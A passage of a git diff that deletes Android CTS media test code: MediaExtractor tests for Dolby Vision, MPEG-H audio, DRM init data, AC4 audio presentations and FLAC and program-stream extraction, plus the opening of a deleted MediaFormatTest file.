-            final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
-            assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
-        }
-
-        // The backward-compatible track should have mime video/avc
-        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
-        assertEquals("video/avc", mimeType);
-    }
-
-    // DolbyVisionMediaExtractor for profile-level (Dvav1 10.0/Uhd30)
-    @SmallTest
-    @CddTest(requirement="5.3.8")
-    public void testDolbyVisionMediaExtractorProfileDvav1() throws Exception {
-        TestMediaDataSource dataSource = setDataSource("video_dovi_3840x2160_30fps_dav1_10.mp4");
-
-        if (advertisesDolbyVision()) {
-            assertEquals(1, mExtractor.getTrackCount());
-
-            // Dvav1 10 exposes a single backward compatible track.
-            final MediaFormat trackFormat = mExtractor.getTrackFormat(0);
-            final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
-
-            assertEquals("video/dolby-vision", mimeType);
-
-            final int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE);
-            final int level = trackFormat.getInteger(MediaFormat.KEY_LEVEL);
-
-            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvav110, profile);
-            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelUhd30, level);
-        } else {
-            MediaUtils.skipTest("Device does not provide a Dolby Vision decoder");
-        }
-    }
-
-    // DolbyVisionMediaExtractor for profile-level (Dvav1 10.1/Uhd30)
-    @SmallTest
-    @CddTest(requirement="5.3.8")
-    public void testDolbyVisionMediaExtractorProfileDvav1_2() throws Exception {
-        TestMediaDataSource dataSource = setDataSource("video_dovi_3840x2160_30fps_dav1_10_2.mp4");
-
-        assertTrue("There should be either 1 or 2 tracks",
-            0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
-
-        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
-        int trackCountForDolbyVision = 1;
-
-        // Handle the case where there is a Dolby Vision extractor
-        // Note that it may or may not have a Dolby Vision Decoder
-        if (mExtractor.getTrackCount() == 2) {
-            if (trackFormat.getString(MediaFormat.KEY_MIME)
-                    .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
-                trackFormat = mExtractor.getTrackFormat(1);
-                trackCountForDolbyVision = 0;
-            }
-        }
-
-        if (advertisesDolbyVision()) {
-            assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
-
-            MediaFormat trackFormatForDolbyVision =
-                mExtractor.getTrackFormat(trackCountForDolbyVision);
-
-            final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
-            assertEquals("video/dolby-vision", mimeType);
-
-            int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
-            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvav110, profile);
-
-            int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
-            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelUhd30, level);
-
-            final int trackIdForDolbyVision =
-                trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
-
-            final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
-            assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
-        }
-
-        // The backward-compatible track should have mime video/av01
-        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
-        assertEquals("video/av01", mimeType);
-    }
-
-    //MPEG-H 3D Audio single stream (mha1)
-    public void testMpegh3dAudioMediaExtractorMha1() throws Exception {
-        // TODO(b/186267251) move file to cloud storage.
-        AssetFileDescriptor afd = getContext().getResources()
-            .openRawResourceFd(R.raw.sample_mpegh_mha1);
-        mExtractor.setDataSource(afd);
-        assertEquals(1, mExtractor.getTrackCount());
-
-        // The following values below require API Build.VERSION_CODES.S
-        if (!MediaUtils.check(IS_AT_LEAST_S, "test needs Android 12")) return;
-
-        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
-        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
-        assertEquals(MediaFormat.MIMETYPE_AUDIO_MPEGH_MHA1, mimeType);
-
-        final int hpli = trackFormat.getInteger(MediaFormat.KEY_MPEGH_PROFILE_LEVEL_INDICATION);
-        assertEquals(0x0D, hpli);
-
-        final int hrcl = trackFormat.getInteger(MediaFormat.KEY_MPEGH_REFERENCE_CHANNEL_LAYOUT);
-        assertEquals(0x13, hrcl);
-    }
-
-    //MPEG-H 3D Audio single stream encapsulated in MHAS (mhm1)
-    public void testMpegh3dAudioMediaExtractorMhm1() throws Exception {
-        // TODO(b/186267251) move file to cloud storage.
-        AssetFileDescriptor afd = getContext().getResources()
-            .openRawResourceFd(R.raw.sample_mpegh_mhm1);
-        mExtractor.setDataSource(afd);
-        assertEquals(1, mExtractor.getTrackCount());
-
-        // The following values below require API Build.VERSION_CODES.S
-        if (!MediaUtils.check(IS_AT_LEAST_S, "test needs Android 12")) return;
-
-        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
-        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
-        assertEquals(MediaFormat.MIMETYPE_AUDIO_MPEGH_MHM1, mimeType);
-
-        final int hpli = trackFormat.getInteger(MediaFormat.KEY_MPEGH_PROFILE_LEVEL_INDICATION);
-        assertEquals(0x0D, hpli);
-
-        final int hrcl = trackFormat.getInteger(MediaFormat.KEY_MPEGH_REFERENCE_CHANNEL_LAYOUT);
-        assertEquals(0x13, hrcl);
-
-        final ByteBuffer hcos = trackFormat.getByteBuffer(MediaFormat.KEY_MPEGH_COMPATIBLE_SETS);
-        assertEquals(0x12, hcos.get());
-    }
-
-    public void testGetDrmInitData() throws Exception {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        Preconditions.assertTestFileExists(mInpPrefix + "psshtest.mp4");
-        setDataSource("psshtest.mp4");
-        DrmInitData drmInitData = mExtractor.getDrmInitData();
-        assertEquals(drmInitData.getSchemeInitDataCount(), 2);
-        assertEquals(drmInitData.getSchemeInitDataAt(0).uuid, UUID_WIDEVINE);
-        assertEquals(drmInitData.get(UUID_WIDEVINE), drmInitData.getSchemeInitDataAt(0));
-        assertEquals(drmInitData.getSchemeInitDataAt(1).uuid, UUID_PLAYREADY);
-        assertEquals(drmInitData.get(UUID_PLAYREADY), drmInitData.getSchemeInitDataAt(1));
-    }
-
-    private void checkExtractorSamplesAndMetrics() {
-        // 1MB is enough for any sample.
-        final ByteBuffer buf = ByteBuffer.allocate(1024*1024);
-        final int trackCount = mExtractor.getTrackCount();
-
-        for (int i = 0; i < trackCount; i++) {
-            mExtractor.selectTrack(i);
-        }
-
-        for (int i = 0; i < trackCount; i++) {
-            assertTrue(mExtractor.readSampleData(buf, 0) > 0);
-            assertTrue(mExtractor.advance());
-        }
-
-        // verify some getMetrics() behaviors while we're here.
-        PersistableBundle metrics = mExtractor.getMetrics();
-        if (metrics == null) {
-            fail("getMetrics() returns no data");
-        } else {
-            // ensure existence of some known fields
-            int tracks = metrics.getInt(MediaExtractor.MetricsConstants.TRACKS, -1);
-            if (tracks != trackCount) {
-                fail("getMetrics() trackCount expect " + trackCount + " got " + tracks);
-            }
-        }
-    }
-
-    static boolean audioPresentationSetMatchesReference(
-            Map<Integer, AudioPresentation> reference,
-            List<AudioPresentation> actual) {
-        if (reference.size() != actual.size()) {
-            Log.w(TAG, "AudioPresentations set size is invalid, expected: " +
-                    reference.size() + ", actual: " + actual.size());
-            return false;
-        }
-        for (AudioPresentation ap : actual) {
-            AudioPresentation refAp = reference.get(ap.getPresentationId());
-            if (refAp == null) {
-                Log.w(TAG, "AudioPresentation not found in the reference set, presentation id=" +
-                        ap.getPresentationId());
-                return false;
-            }
-            if (!refAp.equals(ap)) {
-                Log.w(TAG, "AudioPresentations are different, reference: " +
-                        refAp + ", actual: " + ap);
-                return false;
-            }
-        }
-        return true;
-    }
-
-    public void testGetAudioPresentations() throws Exception {
-        Preconditions.assertTestFileExists(mInpPrefix +
-                        "MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only.ts");
-        setDataSource("MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only.ts");
-        int ac4TrackIndex = -1;
-        for (int i = 0; i < mExtractor.getTrackCount(); i++) {
-            MediaFormat format = mExtractor.getTrackFormat(i);
-            String mime = format.getString(MediaFormat.KEY_MIME);
-            if (MediaFormat.MIMETYPE_AUDIO_AC4.equals(mime)) {
-                ac4TrackIndex = i;
-                break;
-            }
-        }
-
-        // Not all devices support AC4.
-        if (ac4TrackIndex == -1) {
-            List<AudioPresentation> presentations =
-                    mExtractor.getAudioPresentations(0 /*trackIndex*/);
-            assertNotNull(presentations);
-            assertTrue(presentations.isEmpty());
-            return;
-        }
-
-        // The test file has two sets of audio presentations. The presentation set
-        // changes for every 100 audio presentation descriptors between two presentations.
-        // Instead of attempting to count the presentation descriptors, the test assumes
-        // a particular order of the presentations and advances to the next reference set
-        // once getAudioPresentations returns a set that doesn't match the current reference set.
-        // Thus the test can match the set 0 several times, then it encounters set 1,
-        // advances the reference set index, matches set 1 until it encounters set 2 etc.
-        // At the end it verifies that all the reference sets were met.
-        List<Map<Integer, AudioPresentation>> refPresentations = Arrays.asList(
-                new HashMap<Integer, AudioPresentation>() {{  // First set.
-                    put(10, new AudioPresentation.Builder(10)
-                            .setLocale(ULocale.ENGLISH)
-                            .setMasteringIndication(AudioPresentation.MASTERED_FOR_SURROUND)
-                            .setHasDialogueEnhancement(true)
-                            .build());
-                    put(11, new AudioPresentation.Builder(11)
-                            .setLocale(ULocale.ENGLISH)
-                            .setMasteringIndication(AudioPresentation.MASTERED_FOR_SURROUND)
-                            .setHasAudioDescription(true)
-                            .setHasDialogueEnhancement(true)
-                            .build());
-                    put(12, new AudioPresentation.Builder(12)
-                            .setLocale(ULocale.FRENCH)
-                            .setMasteringIndication(AudioPresentation.MASTERED_FOR_SURROUND)
-                            .setHasDialogueEnhancement(true)
-                            .build());
-                }},
-                new HashMap<Integer, AudioPresentation>() {{  // Second set.
-                    put(10, new AudioPresentation.Builder(10)
-                            .setLocale(ULocale.GERMAN)
-                            .setMasteringIndication(AudioPresentation.MASTERED_FOR_SURROUND)
-                            .setHasAudioDescription(true)
-                            .setHasDialogueEnhancement(true)
-                            .build());
-                    put(11, new AudioPresentation.Builder(11)
-                            .setLocale(new ULocale("es"))
-                            .setMasteringIndication(AudioPresentation.MASTERED_FOR_SURROUND)
-                            .setHasSpokenSubtitles(true)
-                            .setHasDialogueEnhancement(true)
-                            .build());
-                    put(12, new AudioPresentation.Builder(12)
-                            .setLocale(ULocale.ENGLISH)
-                            .setMasteringIndication(AudioPresentation.MASTERED_FOR_SURROUND)
-                            .setHasDialogueEnhancement(true)
-                            .build());
-                }},
-                null,
-                null
-        );
-        refPresentations.set(2, refPresentations.get(0));
-        refPresentations.set(3, refPresentations.get(1));
-        boolean[] presentationsMatched = new boolean[refPresentations.size()];
-        mExtractor.selectTrack(ac4TrackIndex);
-        for (int i = 0; i < refPresentations.size(); ) {
-            List<AudioPresentation> presentations = mExtractor.getAudioPresentations(ac4TrackIndex);
-            assertNotNull(presentations);
-            // Assumes all presentation sets have the same number of presentations.
-            assertEquals(refPresentations.get(i).size(), presentations.size());
-            if (!audioPresentationSetMatchesReference(refPresentations.get(i), presentations)) {
-                    // Time to advance to the next presentation set.
-                    i++;
-                    continue;
-            }
-            Log.d(TAG, "Matched presentation " + i);
-            presentationsMatched[i] = true;
-            // No need to wait for another switch after the last presentation has been matched.
-            if (i == presentationsMatched.length - 1 || !mExtractor.advance()) {
-                break;
-            }
-        }
-        for (int i = 0; i < presentationsMatched.length; i++) {
-            assertTrue("Presentation set " + i + " was not found in the stream",
-                    presentationsMatched[i]);
-        }
-    }
-
-    @AppModeFull(reason = "Instant apps cannot bind sockets.")
-    public void SKIP_testExtractorGetCachedDuration() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$SetDataSourceTest#testUrlDataSource
-        CtsTestServer foo = new CtsTestServer(getContext());
-        String url = foo.getAssetUrl("ringer.mp3");
-        mExtractor.setDataSource(url);
-        long cachedDurationUs = mExtractor.getCachedDuration();
-        assertTrue("cached duration should be non-negative", cachedDurationUs >= 0);
-        foo.shutdown();
-    }
-
-    public void SKIP_testExtractorHasCacheReachedEndOfStream() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$SetDataSourceTest#testUrlDataSource
-        // Using file source to get deterministic result.
-        AssetFileDescriptor afd = getAssetFileDescriptorFor("testvideo.3gp");
-        mExtractor.setDataSource(afd);
-        assertTrue(mExtractor.hasCacheReachedEndOfStream());
-        afd.close();
-    }
-
-    /*
-     * Makes sure if PTS(order) of a video file with BFrames matches the expected values in
-     * the corresponding text file with just PTS values.
-     */
-    public void SKIP_testVideoPresentationTimeStampsMatch() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$ExtractorTimeStampTest
-        setDataSource("binary_counter_320x240_30fps_600frames.mp4");
-        // Select the only video track present in the file.
-        final int trackCount = mExtractor.getTrackCount();
-        for (int i = 0; i < trackCount; i++) {
-            mExtractor.selectTrack(i);
-        }
-
-        Reader txtRdr = new BufferedReader(new InputStreamReader(new FileInputStream(
-                mInpPrefix + "timestamps_binary_counter_320x240_30fps_600frames.txt")));
-        StreamTokenizer strTok = new StreamTokenizer(txtRdr);
-        strTok.parseNumbers();
-
-        boolean srcAdvance = false;
-        long srcSampleTimeUs = -1;
-        long testSampleTimeUs = -1;
-
-        strTok.nextToken();
-        do {
-            srcSampleTimeUs = mExtractor.getSampleTime();
-            testSampleTimeUs = (long) strTok.nval;
-
-            // Ignore round-off error if any.
-            if (Math.abs(srcSampleTimeUs - testSampleTimeUs) > 1) {
-                Log.d(TAG, "srcSampleTimeUs:" + srcSampleTimeUs + " testSampleTimeUs:" +
-                        testSampleTimeUs);
-                fail("video presentation timestamp not equal");
-            }
-
-            srcAdvance = mExtractor.advance();
-            strTok.nextToken();
-        } while (srcAdvance);
-    }
-
-    /* package */ static class ByteBufferDataSource extends MediaDataSource {
-        private final long mSize;
-        private TreeMap<Long, ByteBuffer> mMap = new TreeMap<Long, ByteBuffer>();
-
-        public ByteBufferDataSource(MediaCodecTest.ByteBufferStream bufferStream)
-                throws IOException {
-            long size = 0;
-            while (true) {
-                final ByteBuffer buffer = bufferStream.read();
-                if (buffer == null) break;
-                final int limit = buffer.limit();
-                if (limit == 0) continue;
-                size += limit;
-                mMap.put(size - 1, buffer); // key: last byte of validity for the buffer.
-            }
-            mSize = size;
-        }
-
-        @Override
-        public long getSize() {
-            return mSize;
-        }
-
-        @Override
-        public int readAt(long position, byte[] buffer, int offset, int size) {
-            Log.v(TAG, "reading at " + position + " offset " + offset + " size " + size);
-
-            // This chooses all buffers with key >= position (e.g. valid buffers)
-            final SortedMap<Long, ByteBuffer> map = mMap.tailMap(position);
-            int copied = 0;
-            for (Map.Entry<Long, ByteBuffer> e : map.entrySet()) {
-                // Get a read-only version of the byte buffer.
-                final ByteBuffer bb = e.getValue().asReadOnlyBuffer();
-                // Convert read position to an offset within that byte buffer, bboffs.
-                final long bboffs = position - e.getKey() + bb.limit() - 1;
-                if (bboffs >= bb.limit() || bboffs < 0) {
-                    break; // (negative position)?
-                }
-                bb.position((int)bboffs); // cast is safe as bb.limit is int.
-                final int tocopy = Math.min(size, bb.remaining());
-                if (tocopy == 0) {
-                    break; // (size == 0)?
-                }
-                bb.get(buffer, offset, tocopy);
-                copied += tocopy;
-                size -= tocopy;
-                offset += tocopy;
-                position += tocopy;
-                if (size == 0) {
-                    break; // finished copying.
-                }
-            }
-            if (copied == 0) {
-                copied = -1;  // signal end of file
-            }
-            return copied;
-        }
-
-        @Override
-        public void close() {
-            mMap = null;
-        }
-    }
-
-    /* package */ static class MediaExtractorStream
-                extends MediaCodecTest.ByteBufferStream implements Closeable {
-        public boolean mIsFloat;
-        public boolean mSawOutputEOS;
-        public MediaFormat mFormat;
-
-        private MediaExtractor mExtractor;
-        private MediaCodecTest.MediaCodecStream mDecoderStream;
-
-        public MediaExtractorStream(
-                String inMime, String outMime,
-                MediaDataSource dataSource) throws Exception {
-            mExtractor = new MediaExtractor();
-            mExtractor.setDataSource(dataSource);
-            final int numTracks = mExtractor.getTrackCount();
-            // Single track?
-            // assertEquals("Number of tracks should be 1", 1, numTracks);
-            for (int i = 0; i < numTracks; ++i) {
-                final MediaFormat format = mExtractor.getTrackFormat(i);
-                final String actualMime = format.getString(MediaFormat.KEY_MIME);
-                mExtractor.selectTrack(i);
-                mFormat = format;
-                if (outMime.equals(actualMime)) {
-                    break;
-                } else { // no matching mime, try to use decoder
-                    mDecoderStream = new MediaCodecTest.MediaCodecStream(
-                            mExtractor, mFormat);
-                    Log.w(TAG, "fallback to input mime type with decoder");
-                }
-            }
-            assertNotNull("MediaExtractor cannot find mime type " + inMime, mFormat);
-            mIsFloat = mFormat.getInteger(
-                    MediaFormat.KEY_PCM_ENCODING, AudioFormat.ENCODING_PCM_16BIT)
-                            == AudioFormat.ENCODING_PCM_FLOAT;
-        }
-
-        public MediaExtractorStream(
-                String inMime, String outMime,
-                MediaCodecTest.ByteBufferStream inputStream) throws Exception {
-            this(inMime, outMime, new ByteBufferDataSource(inputStream));
-        }
-
-        @Override
-        public ByteBuffer read() throws IOException {
-            if (mSawOutputEOS) {
-                return null;
-            }
-            if (mDecoderStream != null) {
-                return mDecoderStream.read();
-            }
-            // To preserve codec-like behavior, we create ByteBuffers
-            // equal to the media sample size.
-            final long size = mExtractor.getSampleSize();
-            if (size >= 0) {
-                final ByteBuffer inputBuffer = ByteBuffer.allocate((int)size);
-                final int red = mExtractor.readSampleData(inputBuffer, 0 /* offset */); // sic
-                if (red >= 0) {
-                    assertEquals("position must be zero", 0, inputBuffer.position());
-                    assertEquals("limit must be read bytes", red, inputBuffer.limit());
-                    mExtractor.advance();
-                    return inputBuffer;
-                }
-            }
-            mSawOutputEOS = true;
-            return null;
-        }
-
-        @Override
-        public void close() throws IOException {
-            if (mExtractor != null) {
-                mExtractor.release();
-                mExtractor = null;
-            }
-            mFormat = null;
-        }
-
-        @Override
-        protected void finalize() throws Throwable {
-            if (mExtractor != null) {
-                Log.w(TAG, "MediaExtractorStream wasn't closed");
-                mExtractor.release();
-            }
-            mFormat = null;
-        }
-    }
-
-    @SmallTest
-    public void SKIP_testFlacIdentity() throws Exception {
-        // duplicate of CtsMediaV2TestCases:CodecEncoderTest$testLosslessEncodeDecode[audio/flac]
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$FusedExtractorDecoderTest[audio/flac]
-        final int PCM_FRAMES = 1152 * 4; // FIXME: requires 4 flac frames to work with OMX codecs.
-        final int CHANNEL_COUNT = 2;
-        final int SAMPLES = PCM_FRAMES * CHANNEL_COUNT;
-        final int[] SAMPLE_RATES = {44100, 192000}; // ensure 192kHz supported.
-
-        for (int sampleRate : SAMPLE_RATES) {
-            final MediaFormat format = new MediaFormat();
-            format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_AUDIO_FLAC);
-            format.setInteger(MediaFormat.KEY_SAMPLE_RATE, sampleRate);
-            format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, CHANNEL_COUNT);
-
-            Log.d(TAG, "Trying sample rate: " + sampleRate
-                    + " channel count: " + CHANNEL_COUNT);
-            format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 5);
-
-            // TODO: Add float mode when MediaExtractor supports float configuration.
-            final MediaCodecTest.PcmAudioBufferStream audioStream =
-                    new MediaCodecTest.PcmAudioBufferStream(
-                            SAMPLES, sampleRate, 1000 /* frequency */, 100 /* sweep */,
-                          false /* useFloat */);
-
-            final MediaCodecTest.MediaCodecStream rawToFlac =
-                    new MediaCodecTest.MediaCodecStream(
-                            new MediaCodecTest.ByteBufferInputStream(audioStream),
-                            format, true /* encode */);
-            final MediaExtractorStream flacToRaw =
-                    new MediaExtractorStream(MediaFormat.MIMETYPE_AUDIO_FLAC /* inMime */,
-                            MediaFormat.MIMETYPE_AUDIO_RAW /* outMime */, rawToFlac);
-
-            // Note: the existence of signed zero (as well as NAN) may make byte
-            // comparisons invalid for floating point output. In our case, since the
-            // floats come through integer to float conversion, it does not matter.
-            assertEquals("Audio data not identical after compression",
-                audioStream.sizeInBytes(),
-                MediaCodecTest.compareStreams(new MediaCodecTest.ByteBufferInputStream(flacToRaw),
-                    new MediaCodecTest.ByteBufferInputStream(
-                            new MediaCodecTest.PcmAudioBufferStream(audioStream))));
-        }
-    }
-
-    public void SKIP_testFlacMovExtraction() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$FusedExtractorDecoderTest[audio/flac]
-        AssetFileDescriptor testFd = getAssetFileDescriptorFor("sinesweepalac.mov");
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
-                testFd.getLength());
-        testFd.close();
-        extractor.selectTrack(0);
-        boolean lastAdvanceResult = true;
-        boolean lastReadResult = true;
-        ByteBuffer buf = ByteBuffer.allocate(2*1024*1024);
-        int totalSize = 0;
-        while(true) {
-            int n = extractor.readSampleData(buf, 0);
-            if (n > 0) {
-                totalSize += n;
-            }
-            if (!extractor.advance()) {
-                break;
-            }
-        }
-        assertTrue("could not read alac mov", totalSize > 0);
-    }
-
-    public void testProgramStreamExtraction() throws Exception {
-        AssetFileDescriptor testFd = getAssetFileDescriptorFor("programstream.mpeg");
-
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
-                testFd.getLength());
-        testFd.close();
-        assertEquals("There must be 2 tracks", 2, extractor.getTrackCount());
-        extractor.selectTrack(0);
-        extractor.selectTrack(1);
-        boolean lastAdvanceResult = true;
-        boolean lastReadResult = true;
-        int [] bytesRead = new int[2];
-        MediaCodec [] codecs = { null, null };
-
-        try {
-            MediaFormat f = extractor.getTrackFormat(0);
-            codecs[0] = MediaCodec.createDecoderByType(f.getString(MediaFormat.KEY_MIME));
-            codecs[0].configure(f, null /* surface */, null /* crypto */, 0 /* flags */);
-            codecs[0].start();
-        } catch (IOException | IllegalArgumentException e) {
-            // ignore
-        }
-        try {
-            MediaFormat f = extractor.getTrackFormat(1);
-            codecs[1] = MediaCodec.createDecoderByType(f.getString(MediaFormat.KEY_MIME));
-            codecs[1].configure(f, null /* surface */, null /* crypto */, 0 /* flags */);
-            codecs[1].start();
-        } catch (IOException | IllegalArgumentException e) {
-            // ignore
-        }
-
-        final int RETRY_LIMIT = 100;
-        final long INPUTBUFFER_TIMEOUT_US = 10000;
-        int num_retry = 0;
-        ByteBuffer buf = ByteBuffer.allocate(2*1024*1024);
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        while(num_retry < RETRY_LIMIT) {
-            for (MediaCodec codec : codecs) {
-                if (codec == null) {
-                    continue;
-                }
-                while (true) {
-                    int idx = codec.dequeueOutputBuffer(info, 0);
-                    if (idx < 0) {
-                        break;
-                    }
-                    codec.releaseOutputBuffer(idx, false);
-                }
-            }
-
-            int trackIdx = extractor.getSampleTrackIndex();
-            MediaCodec codec = codecs[trackIdx];
-            ByteBuffer b = buf;
-            int bufIdx = -1;
-            if (codec != null) {
-                bufIdx = codec.dequeueInputBuffer(INPUTBUFFER_TIMEOUT_US);
-                // No available input buffer now, retry again.
-                if (bufIdx < 0) {
-                    num_retry += 1;
-                    continue;
-                }
-
-                num_retry = 0;
-                b = codec.getInputBuffer(bufIdx);
-            }
-            int n = extractor.readSampleData(b, 0);
-            if (n > 0) {
-                bytesRead[trackIdx] += n;
-            }
-            if (codec != null) {
-                int sampleFlags = extractor.getSampleFlags();
-                long sampleTime = extractor.getSampleTime();
-                codec.queueInputBuffer(bufIdx, 0, n, sampleTime, sampleFlags);
-            }
-            if (!extractor.advance()) {
-                break;
-            }
-        }
-        extractor.release();
-
-        assertTrue("dequeueing input buffer exceeded timeout", num_retry < RETRY_LIMIT);
-        assertTrue("did not read from track 0", bytesRead[0] > 0);
-        assertTrue("did not read from track 1", bytesRead[1] > 0);
-    }
-
-    private void doTestAdvance(final String res) throws Exception {
-        AssetFileDescriptor testFd = getAssetFileDescriptorFor(res);
-
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
-                testFd.getLength());
-        testFd.close();
-        extractor.selectTrack(0);
-        boolean lastAdvanceResult = true;
-        boolean lastReadResult = true;
-        ByteBuffer buf = ByteBuffer.allocate(2*1024*1024);
-        while(lastAdvanceResult || lastReadResult) {
-            int n = extractor.readSampleData(buf, 0);
-            if (lastAdvanceResult) {
-                // previous advance() was successful, so readSampleData() should succeed
-                assertTrue("readSampleData() failed after successful advance()", n >= 0);
-                assertTrue("getSampleTime() failed after succesful advance()",
-                        extractor.getSampleTime() >= 0);
-                assertTrue("getSampleSize() failed after succesful advance()",
-                        extractor.getSampleSize() >= 0);
-                assertTrue("getSampleTrackIndex() failed after succesful advance()",
-                        extractor.getSampleTrackIndex() >= 0);
-            } else {
-                // previous advance() failed, so readSampleData() should fail too
-                assertTrue("readSampleData() succeeded after failed advance()", n < 0);
-                assertTrue("getSampleTime() succeeded after failed advance()",
-                        extractor.getSampleTime() < 0);
-                assertTrue("getSampleSize() succeeded after failed advance()",
-                        extractor.getSampleSize() < 0);
-                assertTrue("getSampleTrackIndex() succeeded after failed advance()",
-                        extractor.getSampleTrackIndex() < 0);
-            }
-            lastReadResult = (n >= 0);
-            lastAdvanceResult = extractor.advance();
-        }
-        extractor.release();
-    }
-
-    public void SKIP_testAdvance() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$SetDataSourceTest and
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$FunctionalityTest#testExtract[*]
-        // audio-only
-        doTestAdvance("sinesweepm4a.m4a");
-        doTestAdvance("sinesweepmp3lame.mp3");
-        doTestAdvance("sinesweepmp3smpb.mp3");
-        doTestAdvance("sinesweepwav.wav");
-        doTestAdvance("sinesweepflac.flac");
-        doTestAdvance("sinesweepogg.ogg");
-        doTestAdvance("sinesweepoggmkv.mkv");
-
-        // video-only
-        doTestAdvance("swirl_144x136_mpeg4.mp4");
-        doTestAdvance("video_640x360_mp4_hevc_450kbps_no_b.mp4");
-
-        // audio+video
-        doTestAdvance("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
-        doTestAdvance("video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    private void readAllData() {
-        // 1MB is enough for any sample.
-        final ByteBuffer buf = ByteBuffer.allocate(1024*1024);
-        final int trackCount = mExtractor.getTrackCount();
-
-        for (int i = 0; i < trackCount; i++) {
-            mExtractor.selectTrack(i);
-        }
-        do {
-            mExtractor.readSampleData(buf, 0);
-        } while (mExtractor.advance());
-        mExtractor.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-        do {
-            mExtractor.readSampleData(buf, 0);
-        } while (mExtractor.advance());
-    }
-
-    public void SKIP_testAC3inMP4() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$FunctionalityTest[audio/ac3]
-        setDataSource("testac3mp4.mp4");
-        readAllData();
-    }
-
-    public void SKIP_testEAC3inMP4() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$FunctionalityTest[audio/eac3]
-        setDataSource("testeac3mp4.mp4");
-        readAllData();
-    }
-
-    public void SKIP_testAC3inTS() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$FunctionalityTest[audio/ac3]
-        setDataSource("testac3ts.ts");
-        readAllData();
-    }
-
-    public void SKIP_testEAC3inTS() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$FunctionalityTest[audio/eac3]
-        setDataSource("testeac3ts.ts");
-        readAllData();
-    }
-
-    public void SKIP_testAC4inMP4() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$FunctionalityTest[audio/ac4]
-        setDataSource("multi0.mp4");
-        readAllData();
-    }
-
-    public void testAV1InMP4() throws Exception {
-        setDataSource("video_dovi_3840x2160_30fps_dav1_10_2.mp4");
-        readAllData();
-    }
-
-    public void testDolbyVisionInMP4() throws Exception {
-        setDataSource("video_dovi_3840x2160_30fps_dav1_10.mp4");
-        readAllData();
-    }
-
-    public void testPcmLeInMov() throws Exception {
-        setDataSource("sinesweeppcmlemov.mov");
-        readAllData();
-    }
-
-    public void testPcmBeInMov() throws Exception {
-        setDataSource("sinesweeppcmbemov.mov");
-        readAllData();
-    }
-
-    public void testFragmentedRead() throws Exception {
-        Preconditions.assertTestFileExists(mInpPrefix + "psshtest.mp4");
-        setDataSource("psshtest.mp4");
-        readAllData();
-    }
-
-    @AppModeFull(reason = "Instant apps cannot bind sockets.")
-    public void testFragmentedHttpRead() throws Exception {
-        CtsTestServer server = new CtsTestServer(getContext());
-        Preconditions.assertTestFileExists(mInpPrefix + "psshtest.mp4");
-        String url = server.getAssetUrl(mInpPrefix + "psshtest.mp4");
-        mExtractor.setDataSource(url);
-        readAllData();
-        server.shutdown();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaFormatTest.java b/tests/tests/media/src/android/media/cts/MediaFormatTest.java
deleted file mode 100644
index ff7259a..0000000
--- a/tests/tests/media/src/android/media/cts/MediaFormatTest.java
+++ /dev/null
@@ -1,835 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
